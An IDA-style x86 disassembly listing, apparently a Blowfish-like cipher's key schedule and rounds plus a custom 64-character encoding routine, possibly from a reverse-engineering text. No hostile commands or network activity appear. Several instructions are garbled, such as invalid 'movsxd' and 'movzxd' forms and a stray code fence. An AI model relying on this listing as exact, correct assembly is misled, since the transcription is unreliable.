.text:00404CF5      add     ecx, [ebx+eax*4]
.text:00404CF8      mov     ebx, [ebp+var_38]
.text:00404CFB      shl     ebx, 10h
.text:00404CFE      shr     ebx, 18h
.text:00404D01      mov     eax, [edx+8]
.text:00404D04      xor     ecx, [eax+ebx*4]
.text:00404D07      mov     ebx, [ebp+var_38]
.text:00404D0A      and     ebx, 0FFh
.text:00404D10      mov     edx, [edx+0Ch]
.text:00404D13      add     ecx, [edx+ebx*4]
.text:00404D16      mov     ebx, ds:dword_406496
.text:00404D1C      mov     edx, ecx
.text:00404D1E      xor     edx, [ebx+14h]
.text:00404D21      xor     [ebp+var_4], edx
.text:00404D24      mov     ebx, [ebp+var_4]
.text:00404D27      mov     [ebp+var_3C], ebx
.text:00404D2A      mov     edx, ds:dword_40649A
.text:00404D30      mov     ecx, ebx
.text:00404D32      shr     ecx, 18h
.text:00404D35      mov     eax, [edx]
.text:00404D37      mov     ecx, [eax+ecx*4]
.text:00404D3A      mov     eax, ebx
.text:00404D3C      shl     eax, 8
.text:00404D3F      shr     eax, 18h
.text:00404D42      mov     ebx, [edx+4]
.text:00404D45      add     ecx, [ebx+eax*4]
.text:00404D48      mov     ebx, [ebp+var_3C]
.text:00404D4B      shl     ebx, 10h
.text:00404D4E      shr     ebx, 18h
.text:00404D51      mov     eax, [edx+8]
.text:00404D54      xor     ecx, [eax+ebx*4]
.text:00404D57      mov     ebx, [ebp+var_3C]
.text:00404D5A      and     ebx, 0FFh
.text:00404D60      mov     edx, [edx+0Ch]
.text:00404D63      add     ecx, [edx+ebx*4]
.text:00404D66      mov     ebx, ds:dword_406496
.text:00404D6C      mov     edx, ecx
.text:00404D6E      xor     edx, [ebx+10h]
.text:00404D71      xor     [ebp+var_8], edx
.text:00404D74      mov     ebx, [ebp+var_8]
.text:00404D77      mov     [ebp+var_40], ebx
.text:00404D7A      mov     edx, ds:dword_40649A
.text:00404D80      mov     ecx, ebx
.text:00404D82      shr     ecx, 18h
.text:00404D85      mov     eax, [edx]
.text:00404D87      mov     ecx, [eax+ecx*4]
.text:00404D8A      mov     eax, ebx

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.text:00404D8C      shl     eax, 8
.text:00404D8F      shr     eax, 18h
.text:00404D92      mov     ebx, [edx+4]
.text:00404D95      add     ecx, [ebx+eax*4]
.text:00404D98      mov     ebx, [ebp+var_40]
.text:00404D9B      shl     ebx, 10h
.text:00404D9E      shr     ebx, 18h
.text:00404DA1      mov     eax, [edx+8]
.text:00404DA4      xor     ecx, [eax+ebx*4]
.text:00404DA7      mov     ebx, [ebp+var_40]
.text:00404DAA      and     ebx, 0FFh
.text:00404DB0      mov     edx, [edx+0Ch]
.text:00404DB3      add     ecx, [edx+ebx*4]
.text:00404DB6      mov     ebx, ds:dword_406496
.text:00404DBC      mov     edx, ecx
.text:00404DBE      xor     edx, [ebx+0Ch]
.text:00404DC1      xor     [ebp+var_4], edx
.text:00404DC4      mov     ebx, [ebp+var_4]
.text:00404DC7      mov     [ebp+var_44], ebx
.text:00404DCA      mov     edx, ds:dword_40649A
.text:00404DD0      mov     ecx, ebx
.text:00404DD2      shr     ecx, 18h
.text:00404DD5      mov     eax, [edx]
.text:00404DD7      mov     ecx, [eax+ecx*4]
.text:00404DDA      mov     eax, ebx
.text:00404DDC      shl     eax, 8
.text:00404DDF      shr     eax, 18h
.text:00404DE2      mov     ebx, [edx+4]
.text:00404DE5      add     ecx, [ebx+eax*4]
.text:00404DE8      mov     ebx, [ebp+var_44]
.text:00404DEB      shl     ebx, 10h
.text:00404DEE      shr     ebx, 18h
.text:00404DF1      mov     eax, [edx+8]
.text:00404DF4      xor     ecx, [eax+ebx*4]
.text:00404DF7      mov     ebx, [ebp+var_44]
.text:00404DFA      and     ebx, 0FFh
.text:00404E00      mov     edx, [edx+0Ch]
.text:00404E03      add     ecx, [edx+ebx*4]
.text:00404E06      mov     ebx, ds:dword_406496
.text:00404E0C      mov     edx, ecx
.text:00404E0E      xor     edx, [ebx+8]
.text:00404E11      xor     [ebp+var_8], edx
.text:00404E14      mov     ebx, [ebp+var_8]
.text:00404E17      mov     [ebp+var_48], ebx
.text:00404E1A      mov     edx, ds:dword_40649A
.text:00404E20      mov     ecx, ebx
.text:00404E22      shr     ecx, 18h
.text:00404E25      mov     eax, [edx]
.text:00404E27      mov     ecx, [eax+ecx*4]
.text:00404E2A      mov     eax, ebx
.text:00404E2C      shl     eax, 8
.text:00404E2F      shr     eax, 18h
.text:00404E32      mov     ebx, [edx+4]
.text:00404E35      add     ecx, [ebx+eax*4]
.text:00404E38      mov     ebx, [ebp+var_48]
.text:00404E3B      shl     ebx, 10h
.text:00404E3E      shr     ebx, 18h
.text:00404E41      mov     eax, [edx+8]
.text:00404E44      xor     ecx, [eax+ebx*4]
.text:00404E47      mov     ebx, [ebp+var_48]
.text:00404E4A      and     ebx, 0FFh
.text:00404E50      mov     edx, [edx+0Ch]
.text:00404E53      add     ecx, [edx+ebx*4]
.text:00404E56      mov     ebx, ds:dword_406496
.text:00404E5C      mov     edx, ecx
.text:00404E5E      xor     edx, [ebx+4]
.text:00404E61      xor     [ebp+var_4], edx
.text:00404E64      mov     eax, [ebx]
.text:00404E66      xor     [ebp+var_8], eax
.text:00404E69      mov     eax, [ebp+var_8]

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.text:00404E6C      mov     [esi], eax
.text:00404E6E      mov     eax, [ebp+var_4]
.text:00404E71      mov     [edi], eax
.text:00404E73      pop     edi
.text:00404E74      pop     esi
.text:00404E75      pop     ebx
.text:00404E76      leave
.text:00404E77      retn
.text:00404E77      sub_404940      endp
.text:00404E77
.text:00404E78      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00404E78      ; Attributes: bp-based frame
.text:00404E78      sub_404E78      proc near          ; CODE XREF: sub_40519B+D3*p
.text:00404E78      ; sub_405366+CF*p
.text:00404E78      var_10          = dword ptr -10h
.text:00404E78      var_C           = dword ptr -0Ch
.text:00404E78      var_8           = dword ptr -8
.text:00404E78      var_4           = dword ptr -4
.text:00404E78      arg_0           = dword ptr 8
.text:00404E78      arg_4           = dword ptr 0Ch
.text:00404E78      arg_8           = dword ptr 10h
.text:00404E78      push          ebp
.text:00404E79      mov          ebp, esp
.text:00404E7B      sub          esp, 10h
.text:00404E7E      push          ebx
.text:00404E7F      push          esi
.text:00404E80      push          edi
.text:00404E81      mov          eax, [ebp+arg_4]
.text:00404E84      mov          word ptr [ebp+arg_4], ax
.text:00404E88      xor          ebx, ebx
.text:00404E8A      loc_404E8A:    ; CODE XREF: sub_404E78+71*j
.text:00404E8A      imul         eax, ebx, 5Ch
.text:00404E8D      cmp          ds:dword_4064A6[eax], 0
.text:00404E8D      jz           loc_404EE5
.text:00404E95      imul         eax, ebx, 5Ch
.text:00404E9A      movsx        edx, word ptr [ebp+arg_4]
.text:00404E9E      movsx        ecx, ds:byte_4064FF[eax]
.text:00404EA6      cmp          ecx, edx
.text:00404EA8      jnz          loc_404EE5
.text:00404EAA      push          edx
.text:00404EAB      push          [ebp+arg_0]
.text:00404EAE      lea          eax, ds:4064AEh[eax]
.text:00404EB5      push          eax
.text:00404EB6      call         strncmp
.text:00404EBB      add          esp, 0Ch
.text:00404EBE      or           eax, eax
.text:00404EC0      jnz          loc_404EE5
.text:00404EC2      imul         eax, ebx, 5Ch
.text:00404EC5      mov          eax, ds:dword_4064A6[eax]
.text:00404ECC      mov          ds:dword_406496, eax
.text:00404ED1      imul         eax, ebx, 5Ch
.text:00404ED4      mov          eax, ds:dword_4064AA[eax]
.text:00404EDB      mov          ds:dword_40649A, eax
.text:00404EE0      jmp          loc_405175
.text:00404EE5      ; -----
.text:00404EE5      loc_404EE5:    ; CODE XREF: sub_404E78+1D*j
.text:00404EE5      ; sub_404E78+30*j ...
.text:00404EE5      inc          ebx
.text:00404EE6      cmp          ebx, 3
.text:00404EE9      jl           loc_404E8A
.text:00404EEB      or           esi, 0FFFFFFFFh
.text:00404EEE      xor          ebx, ebx
.text:00404EF0

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.text:00404EF0 loc_404EF0:                                ; CODE XREF: sub_404E78+90*j
.text:00404EF0      imul   eax, ebx, 5Ch
.text:00404EF3      cmp    ds:dword_4064A6[eax], 0
.text:00404EFB      jnz   short loc_404F04
.text:00404EFD      mov    esi, ebx
.text:00404EFF      mov    ebx, 4
.text:00404F04 loc_404F04:                                ; CODE XREF: sub_404E78+83*j
.text:00404F04      inc    ebx
.text:00404F05      cmp    ebx, 3
.text:00404F08      jl    short loc_404EF0
.text:00404F0A      or     esi, esi
.text:00404F0C      jge   short loc_404F50
.text:00404F0E      mov    esi, [ebp+arg_8]
.text:00404F11      imul  eax, esi, 5Ch
.text:00404F14      push  ds:dword_4064A6[eax]
.text:00404F1B      call  free
.text:00404F20      pop   ecx
.text:00404F21      xor   ebx, ebx
.text:00404F23 loc_404F23:                                ; CODE XREF: sub_404E78+C4*j
.text:00404F23      imul  edi, esi, 5Ch
.text:00404F26      mov   edi, ds:dword_4064AA[edi]
.text:00404F2D      push  dword ptr [edi+ebx*4]
.text:00404F30      call  free
.text:00404F35      add   esp, 4
.text:00404F38      inc   ebx
.text:00404F39      cmp   ebx, 4
.text:00404F3C      jl    short loc_404F23
.text:00404F3E      imul  eax, esi, 5Ch
.text:00404F41      push  ds:dword_4064AA[eax]
.text:00404F48      call  free
.text:00404F4D      add   esp, 4
.text:00404F50 loc_404F50:                                ; CODE XREF: sub_404E78+94*j
.text:00404F50      push  48h
.text:00404F52      call  malloc
.text:00404F57      imul  edi, esi, 5Ch
.text:00404F5A      mov   ds:dword_4064A6[edi], eax
.text:00404F61      push  10h
.text:00404F63      call  malloc
.text:00404F68      add   esp, 8
.text:00404F6B      imul  edi, esi, 5Ch
.text:00404F6E      mov   ds:dword_4064AA[edi], eax
.text:00404F75      xor   ebx, ebx
.text:00404F77 loc_404F77:                                ; CODE XREF: sub_404E78+11D*j
.text:00404F77      push  400h
.text:00404F7C      call  malloc
.text:00404F81      add   esp, 4
.text:00404F84      imul  edi, esi, 5Ch
.text:00404F87      mov   edi, ds:dword_4064AA[edi]
.text:00404F8E      mov   [edi+ebx*4], eax
.text:00404F91      inc   ebx
.text:00404F92      cmp   ebx, 4
.text:00404F95      jl    short loc_404F77
.text:00404F97      imul  eax, esi, 5Ch
.text:00404F9A      mov   eax, ds:dword_4064A6[eax]
.text:00404FA1      mov   ds:dword_406496, eax
.text:00404FA6      imul  eax, esi, 5Ch
.text:00404FA9      mov   eax, ds:dword_4064AA[eax]
.text:00404FB0      mov   ds:dword_40649A, eax
.text:00404FB5      imul  eax, esi, 5Ch
.text:00404FB8      movsx edx, word ptr [ebp+arg_4]
.text:00404FBC      mov   ds:byte_4064FF[eax], dl
.text:00404FC3      movsx eax, word ptr [ebp+arg_4]
.text:00404FC7      push  eax
.text:00404FC8      push [ebp+arg_0]
.text:00404FCB      imul  eax, esi, 5Ch
.text:00404FCE      lea  eax, ds:4064AEh[eax]

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```

.text:00404FD5      push    eax
.text:00404FD6      call   strncpy
.text:00404FDB      add    esp, 0Ch
.text:00404FDE      xor    ebx, ebx
.text:00404FE0      loc_404FE0:                                     ; CODE XREF: sub_404E78+17C•j
.text:00404FE0      mov    edi, ds:dword_406496
.text:00404FE6      mov    edx, dword_4086CC[ebx*4]
.text:00404FED      mov    [edi+ebx*4], edx
.text:00404FF0      inc    ebx
.text:00404FF1      cmp    ebx, 12h
.text:00404FF4      jl     short loc_404FE0
.text:00404FF6      xor    ebx, ebx
.text:00404FF8      loc_404FF8:                                     ; CODE XREF: sub_404E78+1A7•j
.text:00404FF8      xor    esi, esi
.text:00404FFA      loc_404FFA:                                     ; CODE XREF: sub_404E78+1A1•j
.text:00404FFA      mov    edi, ds:dword_40649A
.text:00405000      mov    edi, [edi+ebx*4]
.text:00405003      mov    edx, ebx
.text:00405005      shl    edx, 0Ah
.text:00405008      mov    edx, dword ptr unk_408714[edx+esi*4]
.text:0040500F      mov    [edi+esi*4], edx
.text:00405012      inc    esi
.text:00405013      cmp    esi, 100h
.text:00405019      jl     short loc_404FFA
.text:0040501B      inc    ebx
.text:0040501C      cmp    ebx, 4
.text:0040501F      jl     short loc_404FF8
.text:00405021      xor    esi, esi
.text:00405023      mov    ebx, esi
.text:00405025      loc_405025:                                     ; CODE XREF: sub_404E78+27E•j
.text:00405025      mov    [ebp+var_C], 0
.text:0040502C      mov    edi, [ebp+var_C]
.text:0040502F      and    edi, 0FFFFFFh
.text:00405035      mov    edx, [ebp+arg_0]
.text:00405038      movzx  ecx, byte ptr [edx+esi]
.text:0040503C      and    edx, 0FFh
.text:00405042      shl    edx, 18h
.text:00405045      and    edx, 0FF00000h
.text:0040504B      or     edi, edx
.text:0040504D      mov    [ebp+var_C], edi
.text:00405050      and    edi, 0FF00FFFFh
.text:00405056      mov    eax, esi
.text:00405058      inc    eax
.text:00405059      movsx  ecx, word ptr [ebp+arg_4]
.text:0040505D      cdq
.text:0040505E      idiv  ecx
.text:00405060      mov    ecx, [ebp+arg_0]
.text:00405063      movzx  edx, byte ptr [ecx+edx]
.text:00405067      and    edx, 0FFh
.text:0040506D      shl    edx, 10h
.text:00405070      and    edx, 0FF0000h
.text:00405076      or     edi, edx
.text:00405078      mov    [ebp+var_C], edi
.text:0040507B      and    edi, 0FFFF00FFh
.text:00405081      mov    eax, esi
.text:00405083      add    eax, 2
.text:00405086      movsx  ecx, word ptr [ebp+arg_4]
.text:0040508A      cdq
.text:0040508B      idiv  ecx
.text:0040508D      mov    ecx, [ebp+arg_0]
.text:00405090      movzx  edx, byte ptr [ecx+edx]
.text:00405094      and    edx, 0FFh
.text:0040509A      shl    edx, 8
.text:0040509D      and    edx, 0FF00h
.text:004050A3      or     edi, edx
.text:004050A5      mov    [ebp+var_C], edi

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.text:004050A8      and     edi, 0FFFFFF00h
.text:004050AE      mov     eax, esi
.text:004050B0      add     eax, 3
.text:004050B3      movsxd ecx, word ptr [ebp+arg_4]
.text:004050B7      cdq
.text:004050B8      idiv   ecx
.text:004050BA      mov     ecx, [ebp+arg_0]
.text:004050BD      movzxd edx, byte ptr [ecx+edx]
.text:004050C1      and     edx, 0FFh
.text:004050C7      and     edx, 0FFh
.text:004050CD      or      edi, edx
.text:004050CF      mov     [ebp+var_C], edi
.text:004050D2      mov     eax, edi
.text:004050D4      mov     [ebp+var_10], eax
.text:004050D7      mov     edi, ds:dword_406496
.text:004050DD      lea    edi, [edi+ebx*4]
.text:004050E0      mov     edx, eax
.text:004050E2      xor     [edi], edx
.text:004050E4      mov     eax, esi
.text:004050E6      add     eax, 4
.text:004050E9      movsxd ecx, word ptr [ebp+arg_4]
.text:004050ED      cdq
.text:004050EE      idiv   ecx
.text:004050F0      mov     esi, edx
.text:004050F2      inc     ebx
.text:004050F3      cmp     ebx, 12h
.text:004050F6      jl     loc_405025
.text:004050FC      xor     ebx, ebx
.text:004050FE      mov     [ebp+var_4], ebx
.text:00405101      mov     [ebp+var_8], ebx
.text:00405104      xor     ebx, ebx
.text:00405106      loc_405106:
.text:00405106      lea    eax, [ebp+var_8] ; CODE XREF: sub_404E78+2B7*j
.text:00405109      push   eax
.text:0040510A      lea    eax, [ebp+var_4]
.text:0040510D      push   eax
.text:0040510E      call  sub_404408
.text:00405113      add     esp, 8
.text:00405116      mov     edi, ds:dword_406496
.text:0040511C      mov     edx, [ebp+var_4]
.text:0040511F      mov     [edi+ebx*4], edx
.text:00405122      mov     edx, [ebp+var_8]
.text:00405125      mov     [edi+ebx*4+4], edx
.text:00405129      add     ebx, 2
.text:0040512C      cmp     ebx, 12h
.text:0040512F      jl     short loc_405106
.text:00405131      xor     ebx, ebx
.text:00405133      loc_405133:
.text:00405133      xor     esi, esi ; CODE XREF: sub_404E78+2FB*j
.text:00405135      loc_405135:
.text:00405135      lea    eax, [ebp+var_8] ; CODE XREF: sub_404E78+2F5*j
.text:00405138      push   eax
.text:00405139      lea    eax, [ebp+var_4]
.text:0040513C      push   eax
.text:0040513D      call  sub_404408
.text:00405142      add     esp, 8
.text:00405145      mov     edi, ds:dword_40649A
.text:0040514B      mov     edi, [edi+ebx*4]
.text:0040514E      mov     edx, [ebp+var_4]
.text:00405151      mov     [edi+esi*4], edx
.text:00405154      mov     edi, ds:dword_40649A
.text:0040515A      mov     edi, [edi+ebx*4]
.text:0040515D      mov     edx, [ebp+var_8]
.text:00405160      mov     [edi+esi*4+4], edx
.text:00405164      add     esi, 2
.text:00405167      cmp     esi, 100h
.text:0040516D      jl     short loc_405135

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.text:0040516F      inc     ebx
.text:00405170      cmp     ebx, 4
.text:00405173      jl     short loc_405133
.text:00405175
.text:00405175 loc_405175:      ; CODE XREF: sub_404E78+68*j
.text:00405175      pop     edi
.text:00405176      pop     esi
.text:00405177      pop     ebx
.text:00405178      leave
.text:00405179      retn
.text:00405179 sub_404E78      endp
.text:0040517A
.text:0040517A ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040517A
.text:0040517A sub_40517A      proc near      ; CODE XREF: sub_405366+F5*p
.text:0040517A      ; sub_405366+116*p
.text:0040517A arg_0          = byte ptr 4
.text:0040517A      xor     ecx, ecx
.text:0040517C loc_40517C:    ; CODE XREF: sub_40517A+1C*j
.text:0040517C      mov     eax, dword_409714
.text:00405181      movsx  eax, byte ptr [eax+ecx]
.text:00405185      movsx  edx, [esp+arg_0]
.text:0040518A      cmp     eax, edx
.text:0040518C      jnz    short loc_405192
.text:0040518E      mov     eax, ecx
.text:00405190      jmp     short locret_40519A
.text:00405192 ; -----
.text:00405192 loc_405192:    ; CODE XREF: sub_40517A+12*j
.text:00405192      inc     ecx
.text:00405193      cmp     ecx, 40h
.text:00405196      jl     short loc_40517C
.text:00405198      xor     eax, eax
.text:0040519A locret_40519A: ; CODE XREF: sub_40517A+16*j
.text:0040519A      retn
.text:0040519A sub_40517A      endp
.text:0040519B
.text:0040519B ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:0040519B ; Attributes: bp-based frame
.text:0040519B sub_40519B      proc near      ; CODE XREF: sub_4038BB+A5*p
.text:0040519B var_14        = dword ptr -14h
.text:0040519B var_10        = dword ptr -10h
.text:0040519B var_C         = dword ptr -0Ch
.text:0040519B var_8         = dword ptr -8
.text:0040519B var_4         = dword ptr -4
.text:0040519B arg_0         = dword ptr 8
.text:0040519B arg_4         = dword ptr 0Ch
.text:0040519B      push   ebp
.text:0040519C      mov     ebp, esp
.text:0040519E      sub     esp, 14h
.text:004051A1      push   ebx
.text:004051A2      push   esi
.text:004051A3      push   edi
.text:004051A4      mov     eax, [ebp+arg_4]
.text:004051A7      lea    ecx, [eax]
.text:004051A9      or     eax, 0FFFFFFFFh
.text:004051AC loc_4051AC:    ; CODE XREF: sub_40519B+16*j
.text:004051AC      inc     eax

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.text:004051AD      cmp     byte ptr [ecx+eax], 0
.text:004051B1      jnz    short loc_4051AC
.text:004051B3      mov     edx, eax
.text:004051B5      add     edx, 9
.text:004051B8      shl     edx, 1
.text:004051BA      push   edx
.text:004051BB      call   malloc
.text:004051C0      add     esp, 4
.text:004051C3      mov     [ebp+var_14], eax
.text:004051C6      mov     eax, [ebp+arg_4]
.text:004051C9      lea    ecx, [eax]
.text:004051CB      or     eax, 0FFFFFFFFh
.text:004051CE      loc_4051CE:                                     ; CODE XREF: sub_40519B+38*j
.text:004051CE      inc     eax
.text:004051CF      cmp     byte ptr [ecx+eax], 0
.text:004051D3      jnz    short loc_4051CE
.text:004051D5      add     eax, 9
.text:004051D8      push   eax
.text:004051D9      call   malloc
.text:004051DE      add     esp, 4
.text:004051E1      mov     [ebp+var_10], eax
.text:004051E4      push   [ebp+arg_4]
.text:004051E7      push   [ebp+var_10]
.text:004051EA      call   sub_405608
.text:004051EF      mov     ebx, [ebp+var_10]
.text:004051F2      jmp     short loc_4051F5
.text:004051F4      ; -----
.text:004051F4      loc_4051F4:                                     ; CODE XREF: sub_40519B+5D*j
.text:004051F4      inc     ebx
.text:004051F5      loc_4051F5:                                     ; CODE XREF: sub_40519B+57*j
.text:004051F5      cmp     byte ptr [ebx], 0
.text:004051F8      jnz    short loc_4051F4
.text:004051FA      xor     edi, edi
.text:004051FC      loc_4051FC:                                     ; CODE XREF: sub_40519B+6D*j
.text:004051FC      lea    eax, [ebx]
.text:004051FE      mov     ebx, eax
.text:00405200      inc     ebx
.text:00405201      mov     byte ptr [eax], 0
.text:00405204      inc     edi
.text:00405205      cmp     edi, 8
.text:00405208      jl     short loc_4051FC
.text:0040520A      mov     eax, [ebp+arg_0]
.text:0040520D      lea    ecx, [eax]
.text:0040520F      or     eax, 0FFFFFFFFh
.text:00405212      loc_405212:                                     ; CODE XREF: sub_40519B+7C*j
.text:00405212      inc     eax
.text:00405213      cmp     byte ptr [ecx+eax], 0
.text:00405217      jnz    short loc_405212
.text:00405219      add     eax, 9
.text:0040521C      push   eax
.text:0040521D      call   malloc
.text:00405222      add     esp, 4
.text:00405225      mov     [ebp+var_C], eax
.text:00405228      push   [ebp+arg_0]
.text:0040522B      push   [ebp+var_C]
.text:0040522E      call   sub_405608
.text:00405233      mov     edi, 0
.text:00405238      jmp     short loc_405243
.text:0040523A      ; -----
.text:0040523A      loc_40523A:                                     ; CODE XREF: sub_40519B+B9*j
.text:0040523A      mov     eax, edi
.text:0040523C      add     eax, [ebp+var_C]
.text:0040523F      add     byte ptr [eax], 7
.text:00405242      inc     edi

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.text:00405243
.text:00405243 loc_405243: ; CODE XREF: sub_40519B+9D•j
.text:00405243      mov     eax, [ebp+var_C]
.text:00405246      lea     ecx, [eax]
.text:00405248      or      eax, 0FFFFFFFFh
.text:0040524B
.text:0040524B loc_40524B: ; CODE XREF: sub_40519B+B5•j
.text:0040524B      inc     eax
.text:0040524C      cmp     byte ptr [ecx+eax], 0
.text:00405250      jnz     short loc_40524B
.text:00405252      cmp     edi, eax
.text:00405254      jb      short loc_40523A
.text:00405256      mov     eax, [ebp+var_C]
.text:00405259      lea     ecx, [eax]
.text:0040525B      or      eax, 0FFFFFFFFh
.text:0040525E loc_40525E: ; CODE XREF: sub_40519B+C8•j
.text:0040525E      inc     eax
.text:0040525F      cmp     byte ptr [ecx+eax], 0
.text:00405263      jnz     short loc_40525E
.text:00405265      push   0
.text:00405267      movsx  eax, ax
.text:0040526A      push   eax
.text:0040526B      push   [ebp+var_C]
.text:0040526E      call   sub_404E78
.text:00405273      add     esp, 0Ch
.text:00405276      mov     ebx, [ebp+var_10]
.text:00405279      mov     esi, [ebp+var_14]
.text:0040527C      jmp     loc_40533F
.text:00405281 ; -----
.text:00405281 loc_405281: ; CODE XREF: sub_40519B+1A7•j
.text:00405281      lea     eax, [ebx]
.text:00405283      mov     ebx, eax
.text:00405285      inc     ebx
.text:00405286      movsx  edx, byte ptr [eax]
.text:00405289      shl     edx, 18h
.text:0040528C      mov     [ebp+var_4], edx
.text:0040528F      lea     eax, [ebx]
.text:00405291      mov     ebx, eax
.text:00405293      inc     ebx
.text:00405294      movsx  edx, byte ptr [eax]
.text:00405297      shl     edx, 10h
.text:0040529A      add     [ebp+var_4], edx
.text:0040529D      lea     eax, [ebx]
.text:0040529F      mov     ebx, eax
.text:004052A1      inc     ebx
.text:004052A2      movsx  edx, byte ptr [eax]
.text:004052A5      shl     edx, 8
.text:004052A8      add     [ebp+var_4], edx
.text:004052AB      lea     eax, [ebx]
.text:004052AD      mov     ebx, eax
.text:004052AF      inc     ebx
.text:004052B0      movsx  eax, byte ptr [eax]
.text:004052B3      add     [ebp+var_4], eax
.text:004052B6      lea     eax, [ebx]
.text:004052B8      mov     ebx, eax
.text:004052BA      inc     ebx
.text:004052BB      movsx  edx, byte ptr [eax]
.text:004052BE      shl     edx, 18h
.text:004052C1      mov     [ebp+var_8], edx
.text:004052C4      lea     eax, [ebx]
.text:004052C6      mov     ebx, eax
.text:004052C8      inc     ebx
.text:004052C9      movsx  edx, byte ptr [eax]
.text:004052CC      shl     edx, 10h
.text:004052CF      add     [ebp+var_8], edx
.text:004052D2      lea     eax, [ebx]
.text:004052D4      mov     ebx, eax
.text:004052D6      inc     ebx

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.text:004052D7      movsx   edx, byte ptr [eax]
.text:004052DA      shl     edx, 8
.text:004052DD      add     [ebp+var_8], edx
.text:004052E0      lea    eax, [ebx]
.text:004052E2      mov    ebx, eax
.text:004052E4      inc    ebx
.text:004052E5      movsx  eax, byte ptr [eax]
.text:004052E8      add     [ebp+var_8], eax
.text:004052EB      lea    eax, [ebp+var_8]
.text:004052EE      push   eax
.text:004052EF      lea    eax, [ebp+var_4]
.text:004052F2      push   eax
.text:004052F3      call   sub_404408
.text:004052F8      add     esp, 8
.text:004052FB      xor    edi, edi
.text:004052FD      loc_4052FD:                                     ; CODE XREF: sub_40519B+180•j
.text:004052FD      lea    eax, [esi]
.text:004052FF      mov    esi, eax
.text:00405301      inc    esi
.text:00405302      mov    edx, [ebp+var_8]
.text:00405305      and    edx, 3Fh
.text:00405308      mov    ecx, dword_409714
.text:0040530E      mov    dl, [ecx+edx]
.text:00405311      mov    [eax], dl
.text:00405313      shr    [ebp+var_8], 6
.text:00405317      inc    edi
.text:00405318      cmp    edi, 6
.text:0040531B      jl     short loc_4052FD
.text:0040531D      xor    edi, edi
.text:0040531F      loc_40531F:                                     ; CODE XREF: sub_40519B+1A2•j
.text:0040531F      lea    eax, [esi]
.text:00405321      mov    esi, eax
.text:00405322      inc    esi
.text:00405324      mov    edx, [ebp+var_4]
.text:00405327      and    edx, 3Fh
.text:0040532A      mov    ecx, dword_409714
.text:00405330      mov    dl, [ecx+edx]
.text:00405333      mov    [eax], dl
.text:00405335      shr    [ebp+var_4], 6
.text:00405339      inc    edi
.text:0040533A      cmp    edi, 6
.text:0040533D      jl     short loc_40531F
.text:0040533F      loc_40533F:                                     ; CODE XREF: sub_40519B+E1•j
.text:0040533F      cmp    byte ptr [ebx], 0
.text:00405342      jnz   loc_405281
.text:00405348      mov    byte ptr [esi], 0
.text:0040534B      push  [ebp+var_10]
.text:0040534E      call  free
.text:00405353      push  [ebp+var_C]
.text:00405356      call  free
.text:0040535B      add   esp, 8
.text:0040535E      mov   eax, [ebp+var_14]
.text:00405361      pop   edi
.text:00405362      pop   esi
.text:00405363      pop   ebx
.text:00405364      leave
.text:00405365      retn
.text:00405365      sub_40519B      endp
.text:00405365
.text:00405366      ; //////////////////////////////////// S U B R O U T I N E ////////////////////////////////////
.text:00405366      ; Attributes: bp-based frame
.text:00405366      sub_405366      proc near                                     ; CODE XREF: sub_40156D+90D•p
.text:00405366                                         ; sub_40156D+998•p ...
.text:00405366

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.text:00405366 var_2C           = dword ptr -2Ch
.text:00405366 var_28           = dword ptr -28h
.text:00405366 var_24           = dword ptr -24h
.text:00405366 var_20           = dword ptr -20h
.text:00405366 var_1C           = dword ptr -1Ch
.text:00405366 var_18           = dword ptr -18h
.text:00405366 var_14           = dword ptr -14h
.text:00405366 var_10           = dword ptr -10h
.text:00405366 var_C            = dword ptr -0Ch
.text:00405366 var_8            = dword ptr -8
.text:00405366 var_4            = dword ptr -4
.text:00405366 arg_0            = dword ptr 8
.text:00405366 arg_4            = dword ptr 0Ch

.text:00405366                push    ebp
.text:00405367                mov     ebp, esp
.text:00405369                sub     esp, 2Ch
.text:0040536C                push   ebx
.text:0040536D                push   esi
.text:0040536E                push   edi
.text:0040536F                mov     eax, [ebp+arg_4]
.text:00405372                lea    ecx, [eax]
.text:00405374                or     eax, 0FFFFFFFFh
.text:00405377                loc_405377:                                ; CODE XREF: sub_405366+16*j
.text:00405377                inc     eax
.text:00405378                cmp     byte ptr [ecx+eax], 0
.text:0040537C                jnz    short loc_405377
.text:0040537E                add     eax, 0Ch
.text:00405381                push   eax
.text:00405382                call   malloc
.text:00405387                add     esp, 4
.text:0040538A                mov     [ebp+var_14], eax
.text:0040538D                mov     eax, [ebp+arg_4]
.text:00405390                lea    ecx, [eax]
.text:00405392                or     eax, 0FFFFFFFFh
.text:00405395                loc_405395:                                ; CODE XREF: sub_405366+34*j
.text:00405395                inc     eax
.text:00405396                cmp     byte ptr [ecx+eax], 0
.text:0040539A                jnz    short loc_405395
.text:0040539C                add     eax, 0Ch
.text:0040539F                push   eax
.text:004053A0                call   malloc
.text:004053A5                add     esp, 4
.text:004053A8                mov     [ebp+var_10], eax
.text:004053AB                push   [ebp+arg_4]
.text:004053AE                push   [ebp+var_10]
.text:004053B1                call   sub_405608
.text:004053B6                mov     esi, [ebp+var_10]
.text:004053B9                jmp     short loc_4053BC
.text:004053BB                ; -----
.text:004053BB                loc_4053BB:                                ; CODE XREF: sub_405366+59*j
.text:004053BB                inc     esi
.text:004053BC                loc_4053BC:                                ; CODE XREF: sub_405366+53*j
.text:004053BC                cmp     byte ptr [esi], 0
.text:004053BF                jnz    short loc_4053BB
.text:004053C1                xor     edi, edi
.text:004053C3                loc_4053C3:                                ; CODE XREF: sub_405366+69*j
.text:004053C3                lea    eax, [esi]
.text:004053C5                mov     esi, eax
.text:004053C7                inc     esi
.text:004053C8                mov     byte ptr [eax], 0
.text:004053CB                inc     edi
.text:004053CC                cmp     edi, 0Ch
.text:004053CF                jl     short loc_4053C3
.text:004053D1                mov     eax, [ebp+arg_0]

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.text:004053D4      lea     ecx, [eax]
.text:004053D6      or      eax, 0FFFFFFFFh
.text:004053D9      loc_4053D9:                                     ; CODE XREF: sub_405366+78*j
.text:004053D9      inc     eax
.text:004053DA      cmp     byte ptr [ecx+eax], 0
.text:004053DE      jnz     short loc_4053D9
.text:004053E0      add     eax, 9
.text:004053E3      push   eax
.text:004053E4      call   malloc
.text:004053E9      add     esp, 4
.text:004053EC      mov     [ebp+var_C], eax
.text:004053EF      push   [ebp+arg_0]
.text:004053F2      push   [ebp+var_C]
.text:004053F5      call   sub_405608
.text:004053FA      mov     edi, 0
.text:004053FF      jmp     short loc_40540A
.text:00405401      ; -----
